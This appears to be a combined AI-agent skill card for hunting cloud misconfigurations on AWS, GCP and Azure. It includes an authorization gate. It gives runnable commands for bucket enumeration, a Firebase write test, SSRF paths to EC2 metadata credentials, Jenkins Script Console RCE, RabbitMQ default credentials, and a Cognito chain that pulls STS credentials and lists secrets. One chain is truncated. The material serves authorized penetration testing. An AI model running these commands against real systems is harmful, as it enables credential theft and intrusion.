domains / security / cloud-misconfig-hunt / hunt-cloud-misconfig

hunt-cloud-misconfig

Skill card

combined

The two copies share the same core procedure (S3/GCS/Blob listing, Firebase open rules, EC2 metadata via SSRF, exposed admin panels, LocalStack verification, and CloudWatch RUM weaponization), but each contains material steps the other lacks. The uphiago copy adds a detailed RUM attack chain (Cognito get-id/get-credentials-for-identity, STS enumeration, pacu) and a truncated Chain B, plus a more detailed description of detection surfaces. The sickn33 copy adds a mandatory authorization confirmation gate, Jenkins SSO-restriction failure to Script Console RCE, and exposed RabbitMQ/AMQP default-credential probing. Because crowning one would hide the other's unique steps and the sickn33 copy imposes a safety gate the uphiago copy does not, the correct decision is combine.

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Other copies

Combined skill

---
name: hunt-cloud-misconfig
description: Hunt cloud / infrastructure misconfigurations across AWS, GCP, and Azure.
category: security
risk: offensive
license: MIT
---

# HUNT-CLOUD-MISCONFIG — Cloud / Infrastructure Misconfigurations

## Authorization Gate
Before running any command that probes, exploits, changes, persists on, extracts data from, or attempts credential access against a target:
1. Ask the user to state the exact target URL, IP, account, or resource.
2. Ask the user to confirm written authorization and the permitted scope.
3. Show the exact command(s) and explain their expected effect.
4. Wait for explicit confirmation in the current conversation.

Without that confirmation, remain read-only and provide defensive guidance only. Prefer a sandbox, disposable VM, or controlled lab.

## Crown Jewel Targets

### S3 / GCS / Azure Blob
```bash
# S3 listing
curl --max-time 30 --connect-timeout 10 -s "https://TARGET-NAME.s3.amazonaws.com/?max-keys=10"
aws s3 ls s3://target-bucket-name --no-sign-request

# Try common bucket names
for name in target target-backup target-assets target-prod target-staging; do
  curl --max-time 30 --connect-timeout 10 -s -o /dev/null -w "$name: %{http_code}\n" "https://$name.s3.amazonaws.com/"
done

# Firebase open rules
curl --max-time 30 --connect-timeout 10 -s "https://TARGET-APP.firebaseio.com/.json"   # read
curl --max-time 30 --connect-timeout 10 -s -X PUT "https://TARGET-APP.firebaseio.com/test.json" -d '"pwned"'  # write
```

### EC2 Metadata (via SSRF)
```bash
http://169.254.169.254/latest/meta-data/iam/security-credentials/  # role name
http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE-NAME  # keys
```

### Exposed Admin Panels
```
/jenkins  /grafana  /kibana  /elasticsearch  /swagger-ui.html
/phpMyAdmin  /.env  /config.json  /api-docs  /server-status
```

### Jenkins SSO-restriction failure → Script Console RCE
An exposed Jenkins that authenticates ANY personal Google/OAuth account (missing org-domain restriction) is full compromise: log in, then `/script` (Groovy console) = RCE, and `/credentials` + `/scriptText` = stored API tokens and source disclosure.

### Exposed message broker (RabbitMQ / AMQP) with default creds
Probe RabbitMQ management (`http://TARGET:15672/`, API `:15672/api/overview`) and AMQP `:5672`; try default `guest:guest` (works off-localhost when `loopback_users` is misconfigured) → queue/message read, vhost enumeration, management-plugin admin.

## Local-verification toolchain

For testing cloud-misconfig findings against a local AWS sim before/instead of hitting real cloud:

```bash
# LocalStack 3.0 community (pin the version — 4.x requires a Pro license)
docker run -d --name lab-localstack -p 14566:4566 localstack/localstack:3.0

# awscli ≥ 2.30 + LocalStack 3.0 incompatibility workaround (x-amz-trailer header):
export AWS_REQUEST_CHECKSUM_CALCULATION=when_required
export AWS_RESPONSE_CHECKSUM_VALIDATION=when_required
export AWS_ENDPOINT_URL=http://localhost:14566
export AWS_ACCESS_KEY_ID=test AWS_SECRET_ACCESS_KEY=test AWS_DEFAULT_REGION=us-east-1
```

Without those env vars, `aws s3 cp/sync` fails with `InvalidRequest`. Document this for the team.

## CloudWatch RUM Weaponization (2024-2026 surface)

AWS CloudWatch RUM (Real-User Monitoring) is a client-side telemetry service launched late 2021. Customers embed a JS snippet on their pages that sends performance/error events to `dataplane.rum.<region>.amazonaws.com`. The snippet's `AppMonitor` config contains an `identityPoolId` (Cognito) and `guestRoleArn` (IAM role) — both **public by design**. The IAM role policy is the security boundary, and when developers leave it broader than the documented minimum (`rum:PutRumEvents` on the AppMonitor ARN), the entire pool becomes the unauthenticated AWS-credential vending machine.

### Detection — JS bundle fingerprints

**Snippet-style (most common, embedded in `<head>`):**
```javascript
(function(n,i,v,r,s,c,x,z){...})(
  'cwr',
  '00000000-0000-0000-0000-000000000000',                       // applicationId (UUID)
  '1.0.0',
  'us-east-1',
  'https://client.rum.us-east-1.amazonaws.com/1.x/cwr.js',
  {
    sessionSampleRate: 1,
    guestRoleArn: "arn:aws:iam::123456789012:role/RUM-Monitor-...-Unauth",
    identityPoolId: "us-east-1:abcd1234-...",
    endpoint: "https://dataplane.rum.us-east-1.amazonaws.com",
    telemetries: ["errors","performance","http"]
  }
);
```

**NPM-style (aws-rum-web package):**
```javascript
import { AwsRum, AwsRumConfig } from 'aws-rum-web';
const config: AwsRumConfig = { identityPoolId, endpoint, guestRoleArn, ... };
const awsRum = new AwsRum(APPLICATION_ID, '1.0.0', AWS_REGION, config);
```

### Regex set for recon

```bash
# Detect RUM init
grep -REn "cwr\(['\"]init['\"]|from\s+['\"]aws-rum-web['\"]|new\s+AwsRum\(" .

# Extract applicationId (UUID v4)
grep -ErohE "applicationId['\"]?\s*[:=]\s*['\"]([0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12})['\"]" .

# Extract identityPoolId (region:UUID)
grep -ErohE "identityPoolId['\"]?\s*[:=]\s*['\"]([a-z]{2}-[a-z]+-[0-9]+:[0-9a-f-]{36})['\"]" .

# Extract guestRoleArn (leaks AWS account ID + role name)
grep -ErohE "guestRoleArn['\"]?\s*[:=]\s*['\"]arn:aws:iam::[0-9]{12}:role/[A-Za-z0-9._/-]+['\"]" .

# Endpoint reveals region
grep -ErohE "dataplane\.rum\.[a-z0-9-]+\.amazonaws\.com" .
```

### Attack chains

**Chain A — Credential extraction (Critical when guestRole is over-permissioned).** Once `identityPoolId` is extracted from the page, anyone runs:

```bash
aws cognito-identity get-id \
  --identity-pool-id "us-east-1:abcd1234-..." \
  --region us-east-1 --no-sign-request
aws cognito-identity get-credentials-for-identity \
  --identity-id "us-east-1:<returned-uuid>" \
  --region us-east-1 --no-sign-request
# → STS creds; export and:
aws sts get-caller-identity        # confirm role
aws s3 ls; aws dynamodb list-tables; aws lambda list-functions; aws ssm describe-parameters; aws secretsmanager list-secrets
# Automate: pacu / enumerate-iam.py
```

Full chain documented in `cloud-iam-deep` → Cognito Identity Pool unauthenticated chain. RUM is one common embedding context.

**Chain B — Telemetry endpoint compromise.** (See source for full details.)

## Detection Surfaces
- Targeted dorking
- Certificate transparency
- JS bundle secret extraction
- Port scan for known service ports

## Validation
- Actual data read / write / RCE

## Scope Boundaries
- Kubernetes/Docker exposure is owned by hunt-k8s
- CI/CD pipeline attacks by hunt-cicd
- Post-credential IAM escalation by cloud-iam-deep